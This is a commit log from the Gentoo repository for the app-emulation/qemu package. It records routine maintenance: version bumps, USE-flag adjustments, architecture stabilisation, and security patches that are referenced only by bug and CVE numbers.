In recent upstream patches (v4.2.0-2645-gc8c35e5f51 and friends), qemu introduced new softmmu target: Renesas RX. Update our list of softmmu targets. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Closes: https://github.com/gentoo/gentoo/pull/15068 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
James Le Cuirot · gentoo
app-emulation/qemu: SDL2 support is not X11-specific
I have built and run it on Windows. Package-Manager: Portage-2.3.94, Repoman-2.3.20 Signed-off-by: James Le Cuirot <chewi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop <qemu-4.2.0-r2, bug #709490
Bug: https://bugs.gentoo.org/709490 Package-Manager: Portage-2.3.94, Repoman-2.3.21 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #709490
Package-Manager: Portage-2.3.84, Repoman-2.3.20 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #709490
Package-Manager: Portage-2.3.89, Repoman-2.3.20 RepoMan-Options: --include-arches="amd64" Signed-off-by: Mikle Kolyada <zlogene@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update slirp to current master
Bug: https://bugs.gentoo.org/709490 Package-Manager: Portage-2.3.93, Repoman-2.3.20 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: avoid automagic dependency
Package-Manager: Portage-2.3.93, Repoman-2.3.20 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old, bug #711334
Bug: https://bugs.gentoo.org/711334 Package-Manager: Portage-2.3.89, Repoman-2.3.20 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu: use https:// instead of git:// or http://
Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Closes: https://github.com/gentoo/gentoo/pull/14822 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
app-emulation/qemu: Remove py2
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #707984
Package-Manager: Portage-2.3.84, Repoman-2.3.20 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #707984
Package-Manager: Portage-2.3.84, Repoman-2.3.20 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Adapt to current master
There are two changes necessary for our live ebuild. The first one consists of rebasing qemu-2.5.0-cflags.patch because the configure file it's patching has diverged too much. The second change removes qemu-2.5.0-sysmacros.patch from the list of patches for its needlessness. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: make USE=rbd and USE=static mutually exclusive
Package-Manager: Portage-2.3.84, Repoman-2.3.20 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
*/*: Clean PYTHON_COMPAT of obsolete impls
Closes: https://github.com/gentoo/gentoo/pull/14246 Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix qmp-shell for 4.1.0, 4.2.0
Closes: https://bugs.gentoo.org/703028 Package-Manager: Portage-2.3.83, Repoman-2.3.20 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop removed --disable-bluez
Follow upstream's 1d4ffe8dc77cb ("Remove the core bluetooth code"). Package-Manager: Portage-2.3.82, Repoman-2.3.20 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: plugins are mutually exclusing to static*
Package-Manager: Portage-2.3.81, Repoman-2.3.20 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: bump up to 4.2.0, bug #702036
Two more knobs exposed: - USE=plugins to add plugin support to qemu's TCG and logging - USE=vhost-user-fs to support access to host's FS via VIRTIOFS FUSE protocol Reported-by: Per Pomsel Closes: https://bugs.gentoo.org/702036 Package-Manager: Portage-2.3.81, Repoman-2.3.20 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
app-emulation/qemu: Fix MissingTestRestrict
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
app-emulation: Remove *-fbsd KEYWORDS
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: Fix QA issues
Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: also update 4.1.0 ebuild
Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
James Le Cuirot · gentoo
app-emulation/qemu: Version bump to 4.1.0
Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Fix cross-compiling for MinGW (Windows)
Yes, this really works! By default, the configure script shoves everything in the same standalone directory for Windows, hence the need to specify more paths. It doesn't work from a standalone directory unless you build it statically anyway because it can't find the dependent DLLs in /usr/bin. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Add oss USE flag instead of always enabling
It requires no additional dependencies but some platforms like Windows cannot build the OSS driver and have the oss flag masked. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Add xkb USE flag now that xkbcommon option exists
Upstream merged my patch to add this option. Use of libxkbcommon was automagic before. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Update 9999 ppc64 seabios pin to 1.12.0
This was behind the 4.0.0 ebuild. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Only clone a subset of git submodules
This saves cloning over 860MB of unnecessary repositories for dependencies that we build externally, including OpenSSL. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable (#678906)
Package-Manager: Portage-2.3.72, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.72, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #678906
Package-Manager: Portage-2.3.69, Repoman-2.3.16 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #678906
Package-Manager: Portage-2.3.69, Repoman-2.3.16 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: pin new firmware versions
Package-Manager: Portage-2.3.71, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Guilherme Amadio · gentoo
app-emulation/qemu: do not apply fcaps on prefix
Package-Manager: Portage-2.3.69, Repoman-2.3.16 Signed-off-by: Guilherme Amadio <amadio@gentoo.org> Acked-by: Matthias Maier <tamiko@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Follow upstream switch from libssh2 to libssh
In b10d49d7619e4 the upstream switched from libssh2 to libssh. Update our live ebuild to follow this change. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Don't apply qemu-4.0.0-fix_infiniband_include.patch
This patch was merged upstream as 501cf8facd49d9. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mike Gilbert · gentoo
app-emulation/qemu: depend on acct-group/kvm
Package-Manager: Portage-2.3.69_p3, Repoman-2.3.16_p12 Signed-off-by: Mike Gilbert <floppym@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: maintenacne patches, revbump
* patch for linux-headers-5.2 * apply upstream patch for pc-q35 regression with windows guests Closes: https://bugs.gentoo.org/690418 Closes: https://bugs.gentoo.org/690280 Package-Manager: Portage-2.3.69, Repoman-2.3.16 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Han Han · gentoo
app-emulation/qemu: Add use flag jemalloc
Add flag jemalloc to enable or disable jemalloc memory jemalloc support for qemu. Signed-off-by: Han Han <hanhanzhiyeqianke@gmail.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mike Gilbert · gentoo
app-emulation/qemu: tweak python dependency when USE=-python
When USE=python is disabled, we still need a python interpreter at build time with no extra USE dependencies. Closes: https://github.com/gentoo/gentoo/pull/12408/ Package-Manager: Portage-2.3.68, Repoman-2.3.16_p2 Signed-off-by: Mike Gilbert <floppym@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
Revert "app-emulation/qemu: conditionally depend on python"
This reverts commit d7d649de1938fc5430174b23631ca7784f875fbc. in reference to: https://github.com/gentoo/gentoo/pull/12408 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.68, Repoman-2.3.16 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Philipp Ammann · gentoo
app-emulation/qemu: conditionally depend on python
Only depend on python when USE="python" is set. Closes: https://github.com/gentoo/gentoo/pull/12408 Package-Manager: Portage-2.3.68, Repoman-2.3.16 Signed-off-by: Philipp Ammann <philipp.ammann@posteo.de> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable
Bug: https://bugs.gentoo.org/686026 Package-Manager: Portage-2.3.68, Repoman-2.3.16 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #686026)
Package-Manager: Portage-2.3.67, Repoman-2.3.13 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: Remove USE="+doc"
Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix infiniband include
Closes: https://bugs.gentoo.org/686412 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #686026
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org> Package-Manager: Portage-2.3.62, Repoman-2.3.11 RepoMan-Options: --include-arches="amd64"
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: ensure directory is created
Closes: https://bugs.gentoo.org/684902 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: introduce USE=doc
Closes: https://bugs.gentoo.org/684792 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: apply full mds patches
Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: remove dysfunctional
Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: mds fixes for 4.0.0
CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, CVE-2019-11091, ZombieLoad Bug: https://bugs.gentoo.org/686026 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: mds fixes for 3.1.0
CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, CVE-2019-11091, ZombieLoad Bug: https://bugs.gentoo.org/686026 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: do not strip QA_PREBUILT
Package-Manager: Portage-2.3.65, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: add missing dependency
Closes: https://bugs.gentoo.org/684704 Package-Manager: Portage-2.3.65, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.65, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update icon cache
Closes: https://bugs.gentoo.org/684726 Package-Manager: Portage-2.3.65, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: version bump to 4.0.0
- Version bump to 4.0.0 (bug #684274) - Apply mips fpu mode fix (bug #683640) - Bug #683458: Reenable stripping. Remove old CFLAGS workaround. Let's see how far this takes us. Bug: https://bugs.gentoo.org/683458 Closes: https://bugs.gentoo.org/683640 Closes: https://bugs.gentoo.org/684274 Closes: https://github.com/gentoo/gentoo/pull/11719 Package-Manager: Portage-2.3.64, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.64, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: remove obsolete
Package-Manager: Portage-2.3.64, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #681850)
Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
*/*: Remove python3_4 PYTHON_COMPAT correctly
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #681850
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org> Package-Manager: Portage-2.3.62, Repoman-2.3.11 RepoMan-Options: --include-arches="amd64"
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: multiple security fixes for 3.1.0
CVE-2018-20815 CVE-2019-9824 Bug: https://bugs.gentoo.org/681850 Bug: https://bugs.gentoo.org/680834 Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: Fix check in pkg_postinst
Thanks to Garry Filakhtov for triaging and fixing this issue. Closes: https://bugs.gentoo.org/681346 Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: drop obsolete
Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: synchronize live ebuild
Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: fix init.d/qemu-binfmt for mksh, bug #679168
Handling of escaped by echo is an implementation-defined behaviour according to POSIX: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/echo.html "A string to be written to standard output. If the first operand is -n, or if any of the operands contain a <backslash> character, the results are implementation-defined." Practically this makes $ echo '\xFF' behave differently on bash/dash and mksh: bash outputs '\xFF' string of 4 bytes while mksh outputs single 0xFF into stdout. The change is to use "printf '%s\n' '\xFF'" to get consistent behaviour. Reported-by: Jimmy.Jazz@gmx.net Reviewed-by: Matthias Maier Closes: https://bugs.gentoo.org/679168 Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Follow qmp.py rename
Well, not a rename per se, but the file was moved (in qemu commit 8f8fd9edba4bd6768da2c8e2bea49ad5c16ced1a) from scripts/qmp/ to python/qemu/. Follow this movement. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu-9999: Drop --with-sdlabi configure argument
The upstream qemu dropped this in 0015ca5cbabe0b31d31. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
James Le Cuirot · gentoo
app-emulation/qemu: Move some DEPEND entries to BDEPEND
I'm not sure about PYTHON_DEPS but it usually needs to be in both and this is safest anyhow. Package-Manager: Portage-2.3.61, Repoman-2.3.12 Signed-off-by: James Le Cuirot <chewi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #678302
Bug: https://bugs.gentoo.org/678302 Package-Manager: Portage-2.3.60, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 x86 stable wrt bug #678302
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org> Package-Manager: Portage-2.3.51, Repoman-2.3.11 RepoMan-Options: --include-arches="amd64 x86"
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix vulnerability, bug #678302
Take over commit From b05b267840515730dbf6753495d5b7bd8b04ad1c Mon Sep 17 00:00:00 2001 From: Gerd Hoffmann <kraxel@redhat.com> Date: Tue, 8 Jan 2019 11:23:01 +0100 Subject: [PATCH] i2c-ddc: fix oob read Bug: https://bugs.gentoo.org/678302 Package-Manager: Portage-2.3.60, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #678302
Bug: https://bugs.gentoo.org/672346 Bug: https://bugs.gentoo.org/673108 Bug: https://bugs.gentoo.org/678302 Package-Manager: Portage-2.3.60, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Doug Goldstein · gentoo
app-emulation/qemu: fix build with SOFTMMU_TARGETS empty
When SOFTMMU_TARGETS are empty the qemu-bridge-helper isn't installed anymore causing a failure to build due to the fcaps call. Closes: https://bugs.gentoo.org/675110 Signed-off-by: Doug Goldstein <cardoe@gentoo.org> Package-Manager: Portage-2.3.51, Repoman-2.3.11
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #673108)
Package-Manager: Portage-2.3.54, Repoman-2.3.12 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #673108
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org> Package-Manager: Portage-2.3.51, Repoman-2.3.11
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: use ver_test instead of versionator
Closes: https://bugs.gentoo.org/674628 Package-Manager: Portage-2.3.54, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix python dependencies
Closes: https://bugs.gentoo.org/672950 Package-Manager: Portage-2.3.53, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: add capstone slot operator
Package-Manager: Portage-2.3.53, Repoman-2.3.12 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: do no use dohtml
Closes: https://bugs.gentoo.org/673876 Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: reintroduce 2.12.1, remove correct version
Closes: https://bugs.gentoo.org/673458 Package-Manager: Portage-2.3.52, Repoman-2.3.12 RepoMan-Options: --force Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop old and vulnerable
Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: synchronize 3.1.0 and 9999 ebuilds
- update to EAPI=7 - drop versionator inherit Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: version bump to 3.1.0
- use RESTRICT=strip, bug #651422 - switch to tar.xz, bug #666726 - add missing use constraints, bug #664474 qemu_softmmu_targets_riscv32? ( fdt ) qemu_softmmu_targets_riscv64? ( fdt ) - 3.1.0 already contains patches for CVE-2018-15746 - applied patch for CVE-2018-20123 - disable bt subsystem entirely as a "workaround" for CVE-2018-19665. Upstream deprecated the subsystem in November and states that it had been dysfunctional for years with likely no users. Bug: https://bugs.gentoo.org/664740 Bug: https://bugs.gentoo.org/672346 Bug: https://bugs.gentoo.org/673108 Closes: https://bugs.gentoo.org/651422 Closes: https://bugs.gentoo.org/664474 Closes: https://bugs.gentoo.org/666726 Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Jonathan Callen · gentoo
app-emulation/qemu: add python3_7
Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Jonathan Callen <jcallen@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu-9999: Drop sdl-1.2 support
QEMU has deprecated sdl-1.2 support nearly a year ago (in upstream commit of e52c6ba3414). It's not removed yet, but it soon will be. Therefore, drop support for it in our ebuild. This is achieved by basically dropping old 'sdl' use flag and then renaming 'sdl2' to 'sdl'. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Drop gtk2 use flag
QEMU has deprecated gtk2 support nearly a year ago, and recently it dropped the support completely (upstream commit 89d85cde75143). Reflect this change in the live ebuild. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu-9999: Sync softmmu targets
Qemu dropped ppcemb target in a69dc537cc1a6d3c3cb35d30197ed45914a150c3. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #664062
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #664062)
Package-Manager: Portage-2.3.48, Repoman-2.3.10
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop version 2.11.*
Bug: https://bugs.gentoo.org/663502 Package-Manager: Portage-2.3.47, Repoman-2.3.10
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.12.1, add ssbd support
Package-Manager: Portage-2.3.47, Repoman-2.3.10
Matthias Maier · gentoo
app-emulation/qemu: version bump to 3.0.0
Closes: https://bugs.gentoo.org/664052 Package-Manager: Portage-2.3.47, Repoman-2.3.10
Matthias Maier · gentoo
app-emulation/qemu: add python to DEPEND
Closes: https://bugs.gentoo.org/662024 Package-Manager: Portage-2.3.47, Repoman-2.3.10
Repository mirror & CI · gentoo
Merge updates from master
Marty E. Plummer · gentoo
app-emulation/qemu: add missing versionator inherit
c6b150836dfef848e51ec2cce801b12daf2c77b1 dropped versionator from linux-info, which these ebuilds were using via the implicit inherit. Package-Manager: Portage-2.3.44, Repoman-2.3.10 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Jason A. Donenfeld · gentoo
app-emulation/qemu: fix aarch64 tcg simd crash
QEMU mailing list thread is here: https://marc.info/?l=qemu-devel&m=153229252602494&w=2 The patch is here: https://marc.info/?l=qemu-devel&m=153230940005574&w=2 Package-Manager: Portage-2.3.43, Repoman-2.3.10
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: mark hppa firmware as prebuilt
Package-Manager: Portage-2.3.41, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update patches, fix compilation with python-2
Closes: https://bugs.gentoo.org/659090 Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #658180
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #658180)
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: rearrange patches
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Jason A. Donenfeld · gentoo
app-emulation/qemu: fix major TCG crash
This is a custom backport of a patch being prepared for 2.12.1. Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix compilation with python2
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
